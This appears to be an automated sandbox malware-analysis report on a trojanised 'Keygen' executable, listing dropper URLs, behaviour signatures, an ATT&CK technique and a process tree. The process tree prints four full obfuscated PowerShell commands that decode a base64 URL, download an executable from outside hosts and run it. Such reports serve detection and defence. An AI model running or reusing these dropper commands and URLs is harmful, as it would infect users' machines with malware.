201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
8s
max time network
157s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (56) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

852 Keygen.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1740 timeout.exe
364 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

pid	process
852	Keygen.exe

pid	process
1740	timeout.exe
364	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2576	powershell.exe
2552	powershell.exe
3732	powershell.exe
2572	powershell.exe
2552	powershell.exe
2576	powershell.exe
3732	powershell.exe
2572	powershell.exe
3732	powershell.exe
2576	powershell.exe
2552	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

852 Keygen.exe

pid	process
852	Keygen.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

Keygen — копия (56) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 3828 wrote to memory of 3980	3828	Keygen — копия (56) — копия.exe	cmd.exe
PID 3828 wrote to memory of 3980	3828	Keygen — копия (56) — копия.exe	cmd.exe
PID 3828 wrote to memory of 3980	3828	Keygen — копия (56) — копия.exe	cmd.exe
PID 3980 wrote to memory of 852	3980	cmd.exe	Keygen.exe
PID 3980 wrote to memory of 852	3980	cmd.exe	Keygen.exe
PID 3980 wrote to memory of 852	3980	cmd.exe	Keygen.exe
PID 3980 wrote to memory of 1196	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 1196	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 1196	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 1628	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 1628	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 1628	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 1740	3980	cmd.exe	timeout.exe
PID 3980 wrote to memory of 1740	3980	cmd.exe	timeout.exe
PID 3980 wrote to memory of 1740	3980	cmd.exe	timeout.exe
PID 1196 wrote to memory of 2552	1196	mshta.exe	powershell.exe
PID 1196 wrote to memory of 2552	1196	mshta.exe	powershell.exe
PID 1196 wrote to memory of 2552	1196	mshta.exe	powershell.exe
PID 1628 wrote to memory of 2576	1628	mshta.exe	powershell.exe
PID 1628 wrote to memory of 2576	1628	mshta.exe	powershell.exe
PID 1628 wrote to memory of 2576	1628	mshta.exe	powershell.exe
PID 3980 wrote to memory of 2000	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 2000	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 2000	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 736	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 736	3980	cmd.exe	mshta.exe
PID 3980 wrote to memory of 736	3980	cmd.exe	mshta.exe
PID 2000 wrote to memory of 3732	2000	mshta.exe	powershell.exe
PID 2000 wrote to memory of 3732	2000	mshta.exe	powershell.exe
PID 2000 wrote to memory of 3732	2000	mshta.exe	powershell.exe
PID 3980 wrote to memory of 364	3980	cmd.exe	timeout.exe
PID 3980 wrote to memory of 364	3980	cmd.exe	timeout.exe
PID 3980 wrote to memory of 364	3980	cmd.exe	timeout.exe
PID 736 wrote to memory of 2572	736	mshta.exe	powershell.exe
PID 736 wrote to memory of 2572	736	mshta.exe	powershell.exe
PID 736 wrote to memory of 2572	736	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (56) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (56) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3828

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\65E.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (56) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3980

C:\Users\Admin\AppData\Local\Temp\65E.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:852

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\65E.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1196

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\65E.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1628

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2576

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1740

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\65E.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3732

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\65E.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2572

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:364

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\65E.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\65E.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\65E.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\65E.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\65E.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\65E.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\65E.tmp\start.bat

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memory/364-25-0x0000000000000000-mapping.dmp

Download
memory/736-20-0x0000000000000000-mapping.dmp

Download
memory/852-3-0x0000000000000000-mapping.dmp

Download
memory/852-2-0x0000000000000000-mapping.dmp

Download
memory/1196-7-0x0000000000000000-mapping.dmp

Download
memory/1628-9-0x0000000000000000-mapping.dmp

Download
memory/1740-10-0x0000000000000000-mapping.dmp

Download
memory/2000-17-0x0000000000000000-mapping.dmp

Download
memory/2552-12-0x0000000000000000-mapping.dmp

Download
memory/2552-38-0x00000000075E0000-0x00000000075E1000-memory.dmp

Filesize
4KB

Download
memory/2552-14-0x0000000070080000-0x000000007076E000-memory.dmp

Filesize
6.9MB

Download
memory/2552-34-0x0000000007400000-0x0000000007401000-memory.dmp

Filesize
4KB

Download
memory/2552-33-0x0000000007390000-0x0000000007391000-memory.dmp

Filesize
4KB

Download
memory/2552-22-0x0000000006C90000-0x0000000006C91000-memory.dmp

Filesize
4KB

Download
memory/2552-30-0x0000000006B50000-0x0000000006B51000-memory.dmp

Filesize
4KB

Download
memory/2572-32-0x0000000070080000-0x000000007076E000-memory.dmp

Filesize
6.9MB

Download
memory/2572-26-0x0000000000000000-mapping.dmp

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memory/2576-13-0x0000000000000000-mapping.dmp

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memory/2576-15-0x0000000070080000-0x000000007076E000-memory.dmp

Filesize
6.9MB

Download
memory/2576-19-0x0000000004110000-0x0000000004111000-memory.dmp

Filesize
4KB

Download
memory/3732-27-0x0000000070080000-0x000000007076E000-memory.dmp

Filesize
6.9MB

Download
memory/3732-24-0x0000000000000000-mapping.dmp

Download
memory/3732-49-0x0000000007090000-0x0000000007091000-memory.dmp

Filesize
4KB

Download
memory/3732-52-0x00000000080C0000-0x00000000080C1000-memory.dmp

Filesize
4KB

Download
memory/3732-55-0x0000000007EA0000-0x0000000007EA1000-memory.dmp

Filesize
4KB

Download
memory/3980-0-0x0000000000000000-mapping.dmp

Download